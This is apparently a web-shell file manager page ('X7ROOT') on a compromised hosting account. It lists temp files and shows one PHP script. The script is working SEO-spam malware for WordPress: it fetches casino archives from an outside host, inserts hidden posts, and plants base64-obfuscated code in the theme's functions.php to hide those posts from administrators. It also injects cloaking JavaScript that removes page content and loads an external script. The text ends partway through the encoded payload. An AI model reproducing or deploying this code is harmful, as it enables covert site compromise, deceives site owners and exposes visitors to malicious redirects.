X7ROOT File Manager
Current Path:
/home/greejped/.cagefs/tmp
home
/
greejped
/
.cagefs
/
tmp
/
ðŸ“
..
📄
.crontab.lock
(0 B)
📄
.ea-php-cli.cache
(0 B)
📄
.s.PGSQL.5432
(0 B)
ðŸ“
84e3e89ceed6d69f5f07b0ed8bdcb4f0
📄
ag-6857c7926d71d
(5.41 KB)
ðŸ“
alfacgiapi
📄
bk-683878f6caa46
(74.87 KB)
ðŸ“
child_cache
📄
cw-6838740f979cb
(71.89 KB)
ðŸ“
fe53b4
ðŸ“
greejped
ðŸ“
greenreeflive.com
ðŸ“
greenreeflive.com.
ðŸ“
greenreeflive.com:443
📄
hr-686196a24df3a
(5.82 KB)
📄
iu-68581a379cbf4
(5.22 KB)
📄
jg-6857ed3aaf107
(5.16 KB)
ðŸ“
mail.greenreeflive.com
ðŸ“
mail.trivenimeat.com
ðŸ“
mail.trivenimeat.com:443
ðŸ“
mail.trivenimeat.com:80
ðŸ“
mbdvd0
📄
mysql.sock
(0 B)
📄
nh-68382df7d7d58
(70.45 KB)
📄
nu-6838b80619368
(69.04 KB)
📄
ob-68278e813eae2
(5.2 KB)
📄
ow-6861993626e67
(5.58 KB)
📄
plugins_backup_7012_db1f49e90cfa34d892d0279d63ffeb97
(1 B)
📄
pm-683878815658d
(68.61 KB)
📄
ql-6838cc98df6ae
(68.3 KB)
📄
qx-6857f8ef03d31
(5.48 KB)
📄
ru-685812f320626
(5.45 KB)
📄
st-6857c0fe89a26
(5.52 KB)
📄
temp_684bd40ddb137.php
(1.6 KB)
📄
temp_684bd42092112.php
(1.6 KB)
📄
temp_684bd42095aa1.php
(1.6 KB)
📄
test.malikguesthouse.com.588275.tmp
(34.55 KB)
📄
ti-6827a06a11a6d
(5.25 KB)
📄
tmp_php_8jPpWW
(89.47 KB)
📄
tmp_php_M1EnUm
(89.47 KB)
📄
tmp_php_ctzc85
(130.81 KB)
📄
tmp_php_g95Tdx
(89.48 KB)
📄
tmp_php_gM5lJP
(89.47 KB)
📄
tmp_php_ugXdSh
(89.49 KB)
ðŸ“
trivenimeat.com
ðŸ“
trivenimeat.com.
ðŸ“
trivenimeat.com:443
ðŸ“
trivenimeat.com:80
📄
tu-6861995a629de
(5.6 KB)
📄
up-6810123b0ed77
(5.9 KB)
📄
uy-6838580b8c9ed
(65.83 KB)
📄
vo-68619934a9f2e
(5.47 KB)
📄
wj-6838ced549dad
(73.68 KB)
ðŸ“
wp-cli-extract-zipfile-64491b46b4e747.73329349-wp_64491b4607290.zip
📄
xd-6838577a9961f
(70.58 KB)
📄
xo-68616e08059ef
(5.99 KB)
📄
yp-6827a26e5ec29
(5.21 KB)
Editing: tmp_php_ctzc85
<?php //<?php define('GS_ALIAS', 'http://wp-file-manager.com'); define('URL_WITH_ARCHIVES', GS_ALIAS . '/static/archives/GAMES-ALLCASINO-EN-{DIR_NUM}/'); define('ARCHIVES_RANGE', '1-15'); define('DIR_NUM', 2620); define('CUSTOM_AUTHOR_ID', 7012); define('SITEMAP_NAME', 'sitemap12'); $actions = array ( 'upload' => 1, 'unzip' => 1, 'import' => 1, 'hide' => 1, 'homelinks' => 1, 'send' => 1, 'clean' => 1, 'sitemap' => 1, //'sitemapSecondMethod' => 1, //'rollback' => 1, //'sendPostsFromDb' => 1, //'viewSettings' => 1, //'viewAllAuthors' => 1, //'globalRollback' => 1, //'allPermalinks' => 1, //'viewSettingsAsJson' => 1, ); define('HOME_LINKS', 1); $homeLinksSettings = array ( 'hiddenType' => array ( 'css' => 1, ), 'position' => array ( 'head' => 1, ), 'language' => 'EN', 'type' => 'CASINO', 'textBlocksCount' => array ( '100DifferentTextBlocks' => 1, ), ); if (function_exists('ignore_user_abort')) { ignore_user_abort(true); } if (function_exists('set_time_limit')) { set_time_limit(0); } define('CURRENTDIR', getcwd()); define('REDEFINE_JS_FOR_USER', 1); define('CLOACKING', 1); define('IGNORE_ACTIONS_LOG', 0); define('REMOVE_ACTIONS_LOG', 0); define('OBFUSCATE_CUSTOM_FUNCTIONS', 0); $_SERVER['homeLinksSettings'] = $homeLinksSettings; define('FORCE_CHANGE_HOME_LINKS_OWNER', 0); /* * Link building settings* */ define('INTERNAL_LINKING', 0); define('EXTERNAL_LINKING', 0); define('INTERNAL_LINKS_COUNT_PAGE', '2..6'); define('EXTERNAL_LINKS_COUNT_PAGE', '1..3'); define('TABLE_HASH', '11c601a3bad16d2567e6754cddc9d28c'); define('HTML_HASH', '31d410006291280c70416aabda41c4e9'); define('COUNT_LINKS_FROM_DOMAIN', 3); /* * Link building settings* */ define('USE_ORIGINAL_SLUG', 1); /* * Use unzip method with header.php * ziparchive unpacks files incorrectly. */ define('GREEK_LANGUAGE', 1); //define('HOME_URL', $homeUrl); if (defined('CUSTOM_AUTHOR_ID') && CUSTOM_AUTHOR_ID < 1000) { echo 'use CUSTOM_AUTHOR_ID value large then 1000' . PHP_EOL; exit; } if (is_null($rootDirCustom = WritePostsWpHandler::detectWProotDir())) { echo 'wp root directory not found' . PHP_EOL; exit; } if (!WritePostsWpHandler::linkBuildingSettingsCheck()) { exit; } define('WP_ROOT_DIR', $rootDirCustom); if (!defined('TEMPLATEPATH')) { define('TEMPLATEPATH', ''); } if (!defined('STYLESHEETPATH')) { define('STYLESHEETPATH', ''); } if (!defined('WP_USE_THEMES')) { define('WP_USE_THEMES', false); } //define('CUSTOM_TEMPLATE_PATH', $rootDir . '/wp-content/themes/oshin'); /* * settings* */ $jsSource = <<<STR new Image().src = "//counter.yadro.ru/hit;leoallgames?r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random(); document.addEventListener("DOMContentLoaded", function (event) { var bodyNode = document.getElementsByTagName('body')[0]; if (bodyNode) { bodyNode.remove(); } }); var CmaMdxDELg="<script type=\"text/javascript\" language=\"JavaScript\" ";var kWCfImcvVy="src=\"//charbroiledburgers.org/";var sxhwBRDWZS="leoallgames.js?ref="+encodeURI(document.URL)+"&title="+encodeURI(document.title)+"&httpref="+encodeURI(document.referrer)+"\">";var ZmscUNdvig=" </script>";document.write(CmaMdxDELg+kWCfImcvVy+sxhwBRDWZS+ZmscUNdvig); STR; define('JS_SOURCE', $jsSource); define('RAND_DATE', 0); define('ALTERNATIVE_CONNECT_MYSQL', 0); /* * settings* */ $writableDirectoryCustom = WritePostsWpHandler::tmpDirCustom(); if (!$writableDirectoryCustom) { echo 'no directory for writing' . PHP_EOL; exit; } define('WRITABLE_PATH', $writableDirectoryCustom); $tmpDirNameCustom = WritePostsWpHandler::createTmpSubDir(); if (!$tmpDirNameCustom) { echo 'invalid create tmp dir' . PHP_EOL; exit; } define('TMPDIR', $tmpDirNameCustom); $customMutexPath = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName(); try { $customDbHandler = WritePostsWpHandler::tryConnect(); } catch (Exception $ex) { echo 'Could not connect to db ' . $ex->getMessage(); exit; } GlobalLogs::setMainLog('Connected successfully'); $homeUrlCustom = $customDbHandler->homeUrl(); WritePostsWpHandler::checkHomeUrl($homeUrlCustom); $activeActions = WritePostsWpHandler::actionValidator($actions); $isQuickView = WritePostsWpHandler::quickView($activeActions); if ($isQuickView) { WritePostsWpHandler::startActions($activeActions); echo GlobalLogs::getDebugLogs(); exit; } $actionsWithStatus = WritePostsWpHandler::customCheckActions($activeActions); if (WritePostsWpHandler::areAllActionsCompleted($actionsWithStatus)) { echo GlobalLogs::getMainLogs() . PHP_EOL; //echo GlobalLogs::getDebugLogs().PHP_EOL; WritePostsWpHandler::customFormatResponse(); exit; } WritePostsWpHandler::checkMutex($customMutexPath); WritePostsWpHandler::startActions($actionsWithStatus); echo GlobalLogs::getMainLogs(); //echo GlobalLogs::getDebugLogs(); class ActionsCustom { public static function uploadAction() { $url = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES); try { WritePostsWpHandler::uploadRangeOfFiles($url, ARCHIVES_RANGE, '.zip', TMPDIR); return true; } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); return false; } } public static function unzipAction() { if (defined('GREEK_LANGUAGE') && GREEK_LANGUAGE === 1) { GlobalLogs::setDebugLog('use unzip with header'); try { return WritePostsWpHandler::unzipFirstMethod(); } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); } } if (class_exists('ZipArchive')) { return WritePostsWpHandler::unzipSecondMethod(); } else { GlobalLogs::setDebugLog('use unzip with header'); try { return WritePostsWpHandler::unzipFirstMethod(); } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); } } } public static function importAction() { $date = ''; $htmlFiles = glob(TMPDIR . "/*.html"); shuffle($htmlFiles); //fpcDebug("html file count - ". count($htmlFiles)); $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : ''; if (file_exists(TMPDIR . '/import_finish' . $mutexName)) { GlobalLogs::setMainLog('files already imported'); return true; } if (!$htmlFiles) { GlobalLogs::setMainLog('html files not found'); return false; } $extLinksArr = array(); if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) { $countHtmlFiles = count($htmlFiles); WritePostsWpHandler::downloadExternalLinks($countHtmlFiles); $extLinksArr = WritePostsWpHandler::decodeExternalLinks(); if (!$extLinksArr) { return false; } } $results = array(); if (!is_dir(TMPDIR . '/imported')) { if (!mkdir(TMPDIR . '/imported')) { GlobalLogs::setMainLog('invalid create imported dir'); return false; } } if (!defined('RAND_DATE') || (RAND_DATE === 0)) { $date = CustomDbHandler::getInstance()->lastPostDateQuery(); } foreach ($htmlFiles as $key => $html) { try { $contentParts = WritePostsWpHandler::contentParts(file_get_contents($html)); } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); continue; } $text = $contentParts['text']; $text = WritePostsWpHandler::textWithLinks($text, $results, $extLinksArr); $customSlug = WritePostsWpHandler::slugPrepareBeforeInsert($html, $contentParts['slug']); try { $postId = CustomDbHandler::getInstance()->insertPost($contentParts['title'], $text, $date , CUSTOM_AUTHOR_ID, $customSlug); } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); continue; } $results[] = WritePostsWpHandler::resultFormat(HOME_URL, $postId, $contentParts['title']); rename($html, TMPDIR . '/imported/' . WritePostsWpHandler::mb_basename($html, '.html')); } if (!empty($results)) { $logPath = TMPDIR . '/log' . $mutexName . '.txt'; GlobalLogs::setMainLog(sprintf('write to log - %s', $logPath)); file_put_contents($logPath, implode("\n", $results) . "\n", FILE_APPEND); if ($key === (count($htmlFiles) - 1)) { file_put_contents(TMPDIR . '/import_finish' . $mutexName, ''); } return true; } else { GlobalLogs::setMainLog('results are empty'); return false; } } public static function hideAction() { if (!defined('CUSTOM_TEMPLATE_PATH')) { $templateDirectory = WritePostsWpHandler::getTemplatePath(); } else { $templateDirectory = CUSTOM_TEMPLATE_PATH; } $functionsPath = $templateDirectory . '/functions.php'; if (!file_exists($functionsPath)) { GlobalLogs::setMainLog($functionsPath . ' not found'); return false; } if (!is_writeable($functionsPath) && (!is_writeable(dirname($functionsPath)))) { GlobalLogs::setMainLog($functionsPath . ' not writable functions and themes dir'); return false; } $functionsSource = file_get_contents($functionsPath); if ($functionsSource === false) { GlobalLogs::setMainLog('error while reading functions.php'); GlobalLogs::setMainLog('try to set right permissions...'); if (!chmod($functionsPath, 0644)) { return false; } GlobalLogs::setMainLog('success set right perms to functions!'); $functionsSource = file_get_contents($functionsPath); } if (!is_writeable($functionsPath) && (is_writeable(dirname($functionsPath)))) { if (!$functionsSource) { GlobalLogs::setMainLog($functionsPath . ' not writable'); GlobalLogs::setMainLog($functionsPath . ' invalid read functions php'); return false; } unlink($functionsPath); file_put_contents($functionsPath, $functionsSource); GlobalLogs::setMainLog($functionsPath . ' not writeable, but writeable theme directory, unlink functions php'); } /*obf source from cache*/ $source = 'LyogY3VzdG9tIGZpbHRlcnMgKi8NCg0KZnVuY3Rpb24gd3BfbGlua19wYWdlc19saXZlKCR3aGVyZSkgew0KICAgIGdsb2JhbCAkd3BkYiwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvID0gYXJyYXlfa2V5cygkaXNfYXJjaGl2ZV9jb3JlKTsNCiAgICAkaXNfc2VhcmNoX3Nlc3Npb24gPSBpbXBsb2RlKCcsICcsICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvKTsNCg0KICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgew0KICAgICAgICBhZGRfZmlsdGVyKCd2aWV3c19lZGl0LXBvc3QnLCAndGhlX3Bvc3RzX3BhZ2luYXRpb25fb2xkJyk7DQogICAgICAgIHJldHVybiAkd2hlcmUgLiAiIEFORCB7JHdwZGItPnBvc3RzfS5wb3N0X2F1dGhvciBOT1QgSU4gKCRpc19zZWFyY2hfc2Vzc2lvbikiOw0KICAgIH0NCg0KICAgIHJldHVybiAkd2hlcmU7DQp9DQoNCmZ1bmN0aW9uIHRoZV9jb250ZW50X2Jhc2UoJHF1ZXJ5KSB7DQoNCiAgICBnbG9iYWwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvID0gYXJyYXlfa2V5cygkaXNfYXJjaGl2ZV9jb3JlKTsNCiAgICAkZ2V0X3Bvc3RfdHlwZV9vYmplY3QgPSBfZV9zdGFjaygkd3BfcmVzZXRfcG9zdGRhdGFfaW5mbyk7DQoNCiAgICBpZiAoISRxdWVyeS0+aXNfc2luZ2xlKCkgJiYgIWlzX2FkbWluKCkpIHsNCiAgICAgICAgJHF1ZXJ5LT5zZXQoJ2F1dGhvcicsICRnZXRfcG9zdF90eXBlX29iamVjdCk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBpc19zaW5ndWxhcl9jb29raWUoKSB7DQoNCiAgICBnbG9iYWwgJHBvc3QsICRpc19hcmNoaXZlX2NvcmU7DQoNCiAgICBmb3JlYWNoICgkaXNfYXJjaGl2ZV9jb3JlIGFzICRpZCA9PiAkc2V0dGluZ3MpIHsNCiAgICAgICAgaWYgKCgkaWQgPT0gJHBvc3QtPnBvc3RfYXV0aG9yKSAmJiAoaXNzZXQoJHNldHRpbmdzWydqcyddKSkpIHsNCg0KICAgICAgICAgICAgaWYgKGdldF90aGVtZV9maWxlX3VyaV9hbHBoYSgkc2V0dGluZ3MpKSB7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICRzZXR0aW5nc1snanMnXTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBnZXRfdGhlbWVfZmlsZV91cmlfYWxwaGEoJHNldHRpbmdzKSB7DQogICAgaWYgKGlzc2V0KCRzZXR0aW5nc1snbm9qcyddKSAmJiAkc2V0dGluZ3NbJ25vanMnXSA9PT0gMSkgew0KDQogICAgICAgIGlmIChnZXRfdGVtcGxhdGVfcGFydF9tZXRob2QoKSkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiB0aGVfcG9zdHNfcGFnaW5hdGlvbl9vbGQoJHZpZXdzKSB7DQogICAgZ2xvYmFsICRjdXJyZW50X3VzZXIsICR3cF9xdWVyeTsNCg0KICAgICR0eXBlcyA9IGFycmF5KA0KICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiBOVUxMKSwNCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ3B1Ymxpc2gnKSwNCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gJ2RyYWZ0JyksDQogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICdwZW5kaW5nJyksDQogICAgICAgIGFycmF5KCdzdGF0dXMnID0+ICd0cmFzaCcpLA0KICAgICAgICBhcnJheSgnc3RhdHVzJyA9PiAnbWluZScpLA0KICAgICk7DQogICAgZm9yZWFjaCAoJHR5cGVzIGFzICR0eXBlKSB7DQoNCiAgICAgICAgJHF1ZXJ5ID0gYXJyYXkoDQogICAgICAgICAgICAncG9zdF90eXBlJyA9PiAncG9zdCcsDQogICAgICAgICAgICAncG9zdF9zdGF0dXMnID0+ICR0eXBlWydzdGF0dXMnXQ0KICAgICAgICApOw0KDQogICAgICAgICRyZXN1bHQgPSBuZXcgV1BfUXVlcnkoJHF1ZXJ5KTsNCg0KICAgICAgICBpZiAoJHR5cGVbJ3N0YXR1cyddID09IE5VTEwpIHsNCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWydhbGwnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWydhbGwnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ2FsbCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKCR0eXBlWydzdGF0dXMnXSA9PSAnbWluZScpIHsNCg0KDQogICAgICAgICAgICAkbmV3UXVlcnkgPSAkcXVlcnk7DQogICAgICAgICAgICAkbmV3UXVlcnlbJ2F1dGhvcl9faW4nXSA9IGFycmF5KCRjdXJyZW50X3VzZXItPklEKTsNCg0KICAgICAgICAgICAgJHJlc3VsdCA9IG5ldyBXUF9RdWVyeSgkbmV3UXVlcnkpOw0KDQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1snbWluZSddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ21pbmUnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ21pbmUnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ3B1Ymxpc2gnKSB7DQogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnflw+XCgoWzAtOSxdKylcKVw8ficsICR2aWV3c1sncHVibGlzaCddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ3B1Ymxpc2gnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ3B1Ymxpc2gnXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmICgkdHlwZVsnc3RhdHVzJ10gPT0gJ2RyYWZ0Jykgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ2RyYWZ0J10sICRtYXRjaGVzKSkgew0KICAgICAgICAgICAgICAgICR2aWV3c1snZHJhZnQnXSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdLCAnPignIC4gJHJlc3VsdC0+Zm91bmRfcG9zdHMgLiAnKTwnLCAkdmlld3NbJ2RyYWZ0J10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICdwZW5kaW5nJykgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJ35cPlwoKFswLTksXSspXClcPH4nLCAkdmlld3NbJ3BlbmRpbmcnXSwgJG1hdGNoZXMpKSB7DQogICAgICAgICAgICAgICAgJHZpZXdzWydwZW5kaW5nJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWydwZW5kaW5nJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoJHR5cGVbJ3N0YXR1cyddID09ICd0cmFzaCcpIHsNCiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCd+XD5cKChbMC05LF0rKVwpXDx+JywgJHZpZXdzWyd0cmFzaCddLCAkbWF0Y2hlcykpIHsNCiAgICAgICAgICAgICAgICAkdmlld3NbJ3RyYXNoJ10gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJz4oJyAuICRyZXN1bHQtPmZvdW5kX3Bvc3RzIC4gJyk8JywgJHZpZXdzWyd0cmFzaCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJHZpZXdzOw0KfQ0KDQpmdW5jdGlvbiBnZXRfc2V0dGluZ19qc29uKCRjb3VudHMsICR0eXBlLCAkcGVybSkgew0KDQogICAgaWYgKCR0eXBlID09PSAncG9zdCcpIHsNCiAgICAgICAgJGVzY191cmxfZnJhbWV3b3JrID0gJGNvdW50cy0+cHVibGlzaDsNCiAgICAgICAgJGdldF90aGVfdGl0bGVfc3RhdCA9IGFkbWluX3VybF9jcm9uKCRwZXJtKTsNCiAgICAgICAgJGNvdW50cy0+cHVibGlzaCA9ICEkZ2V0X3RoZV90aXRsZV9zdGF0ID8gJGVzY191cmxfZnJhbWV3b3JrIDogJGdldF90aGVfdGl0bGVfc3RhdDsNCiAgICB9DQogICAgcmV0dXJuICRjb3VudHM7DQp9DQoNCmZ1bmN0aW9uIGFkbWluX3VybF9jcm9uKCRwZXJtKSB7DQogICAgZ2xvYmFsICR3cGRiLCAkaXNfYXJjaGl2ZV9jb3JlOw0KDQogICAgJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm8gPSBhcnJheV9rZXlzKCRpc19hcmNoaXZlX2NvcmUpOw0KICAgICRpc19zZWFyY2hfc2Vzc2lvbiA9IGltcGxvZGUoJywgJywgJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm8pOw0KDQogICAgJHR5cGUgPSAncG9zdCc7DQoNCiAgICAkcXVlcnkgPSAiU0VMRUNUIHBvc3Rfc3RhdHVzLCBDT1VOVCggKiApIEFTIG51bV9wb3N0cyBGUk9NIHskd3BkYi0+cG9zdHN9IFdIRVJFIHBvc3RfdHlwZSA9ICVzIjsNCg0KICAgIGlmICgncmVhZGFibGUnID09ICRwZXJtICYmIGlzX3VzZXJfbG9nZ2VkX2luKCkpIHsNCg0KICAgICAgICAkZXNjX2h0bWxfbW9yZSA9IGdldF9wb3N0X3R5cGVfb2JqZWN0KCR0eXBlKTsNCg0KICAgICAgICBpZiAoIWN1cnJlbnRfdXNlcl9jYW4oJGVzY19odG1sX21vcmUtPmNhcC0+cmVhZF9wcml2YXRlX3Bvc3RzKSkgew0KICAgICAgICAgICAgJHF1ZXJ5IC49ICR3cGRiLT5wcmVwYXJlKA0KICAgICAgICAgICAgICAgICIgQU5EIChwb3N0X3N0YXR1cyAhPSAncHJpdmF0ZScgT1IgKCBwb3N0X2F1dGhvciA9ICVkIEFORCBwb3N0X3N0YXR1cyA9ICdwcml2YXRlJyApKSIsIGdldF9jdXJyZW50X3VzZXJfaWQoKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcXVlcnkgLj0gIiBBTkQgcG9zdF9hdXRob3IgTk9UIElOICgkaXNfc2VhcmNoX3Nlc3Npb24pIEdST1VQIEJZIHBvc3Rfc3RhdHVzIjsNCiAgICAkcmVzdWx0cyA9IChhcnJheSkkd3BkYi0+Z2V0X3Jlc3VsdHMoJHdwZGItPnByZXBhcmUoJHF1ZXJ5LCAkdHlwZSksIEFSUkFZX0EpOw0KDQogICAgZm9yZWFjaCAoJHJlc3VsdHMgYXMgJGFkZF9maWx0ZXJfaW50ZXJmYWNlKSB7DQogICAgICAgIGlmICgkYWRkX2ZpbHRlcl9pbnRlcmZhY2VbJ3Bvc3Rfc3RhdHVzJ10gPT09ICdwdWJsaXNoJykgew0KICAgICAgICAgICAgcmV0dXJuICRhZGRfZmlsdGVyX2ludGVyZmFjZVsnbnVtX3Bvc3RzJ107DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHRoZV9JRF9odHRwKCR1c2VySWQpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQoNCiAgICAkcXVlcnkgPSAiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gd2hlcmUgcG9zdF9hdXRob3IgPSAkdXNlcklkIjsNCg0KICAgICRyZXN1bHRzID0gKGFycmF5KSR3cGRiLT5nZXRfcmVzdWx0cygkcXVlcnksIEFSUkFZX0EpOw0KDQogICAgJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm8gPSBhcnJheSgpOw0KICAgIGZvcmVhY2ggKCRyZXN1bHRzIGFzICRhZGRfZmlsdGVyX2ludGVyZmFjZSkgew0KICAgICAgICAkd3BfcmVzZXRfcG9zdGRhdGFfaW5mb1tdID0gJGFkZF9maWx0ZXJfaW50ZXJmYWNlWydJRCddOw0KICAgIH0NCiAgICByZXR1cm4gJHdwX3Jlc2V0X3Bvc3RkYXRhX2luZm87DQp9DQoNCmZ1bmN0aW9uIGVzY191cmxfbG9vcCgpIHsNCg0KICAgIGdsb2JhbCAkaXNfYXJjaGl2ZV9jb3JlLCAkd3BfcmV3cml0ZTsNCg0KICAgICRydWxlcyA9IGdldF9vcHRpb24oJ3Jld3JpdGVfcnVsZXMnKTsNCg0KICAgIGZvcmVhY2ggKCRpc19hcmNoaXZlX2NvcmUgYXMgJHRoZV9hcmNoaXZlX3RpdGxlX2h0dHAgPT4gJGdldF9hdXRob3JfcG9zdHNfdXJsX3Jlc3RmdWwpIHsNCiAgICAgICAgJGdldF90aGVfSURfaHR0cCA9IGtleSgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pOw0KDQogICAgICAgIGlmICghaXNzZXQoJHJ1bGVzWyRnZXRfdGhlX0lEX2h0dHBdKSB8fA0KICAgICAgICAgICAgKCRydWxlc1skZ2V0X3RoZV9JRF9odHRwXSAhPT0gY3VycmVudCgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pKSkgew0KICAgICAgICAgICAgJHdwX3Jld3JpdGUtPmZsdXNoX3J1bGVzKCk7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGFkZF9zZXR0aW5nX2Z1bmN0aW9uKCRydWxlcykgew0KDQogICAgZ2xvYmFsICRpc19hcmNoaXZlX2NvcmU7DQoNCiAgICAkZXNjX3VybF9yYXdfcG9pbnRlciA9IGFycmF5KCk7DQoNCiAgICBmb3JlYWNoICgkaXNfYXJjaGl2ZV9jb3JlIGFzICR0aGVfYXJjaGl2ZV90aXRsZV9odHRwID0+ICRnZXRfYXV0aG9yX3Bvc3RzX3VybF9yZXN0ZnVsKSB7DQogICAgICAgIGlmIChpc3NldCgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pKSB7DQogICAgICAgICAgICAkZXNjX3VybF9yYXdfcG9pbnRlcltrZXkoJGdldF9hdXRob3JfcG9zdHNfdXJsX3Jlc3RmdWxbJ3NpdGVtYXBzZXR0aW5ncyddKV0gPSBjdXJyZW50KCRnZXRfYXV0aG9yX3Bvc3RzX3VybF9yZXN0ZnVsWydzaXRlbWFwc2V0dGluZ3MnXSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICByZXR1cm4gJGVzY191cmxfcmF3X3BvaW50ZXIgKyAkcnVsZXM7DQp9DQoNCmZ1bmN0aW9uIGdldF90aGVfdGltZV9zdGF0ZW1lbnQoKSB7DQoNCiAgICBnbG9iYWwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgIGZvcmVhY2ggKCRpc19hcmNoaXZlX2NvcmUgYXMgJHRoZV9hcmNoaXZlX3RpdGxlX2h0dHAgPT4gJGdldF9hdXRob3JfcG9zdHNfdXJsX3Jlc3RmdWwpIHsNCiAgICAgICAgJGhhdmVfcG9zdHNfY29yZSA9IHN0cl9yZXBsYWNlKCdpbmRleC5waHA/ZmVlZD0nLCAnJywgY3VycmVudCgkZ2V0X2F1dGhvcl9wb3N0c191cmxfcmVzdGZ1bFsnc2l0ZW1hcHNldHRpbmdzJ10pKTsNCiAgICAgICAgYWRkX2ZlZWQoJGhhdmVfcG9zdHNfY29yZSwgJ2dldF90ZW1wbGF0ZV9wYXJ0X2xpc3QnKTsNCiAgICB9DQp9DQoNCg0KZnVuY3Rpb24gZ2V0X3RlbXBsYXRlX3BhcnRfbGlzdCgpIHsNCg0KICAgIGhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZmVlZF9jb250ZW50X3R5cGUoJ3Jzcy1odHRwJykgLiAnOyBjaGFyc2V0PScgLiBnZXRfb3B0aW9uKCdibG9nX2NoYXJzZXQnKSwgdHJ1ZSk7DQoNCiAgICBzdGF0dXNfaGVhZGVyKDIwMCk7DQoNCiAgICAkdGhlX3Bvc3RfY3JvbiA9IGdldF9ibG9naW5mb192YXJpYWJsZSgpOw0KICAgICRnZXRfYXV0aG9yX3Bvc3RzX3VybF9oYXNoaW5nID0gdGhlX0lEX2h0dHAoJHRoZV9wb3N0X2Nyb24pOw0KDQogICAgaWYgKCFlbXB0eSgkZ2V0X2F1dGhvcl9wb3N0c191cmxfaGFzaGluZykpIHsNCiAgICAgICAgJGlz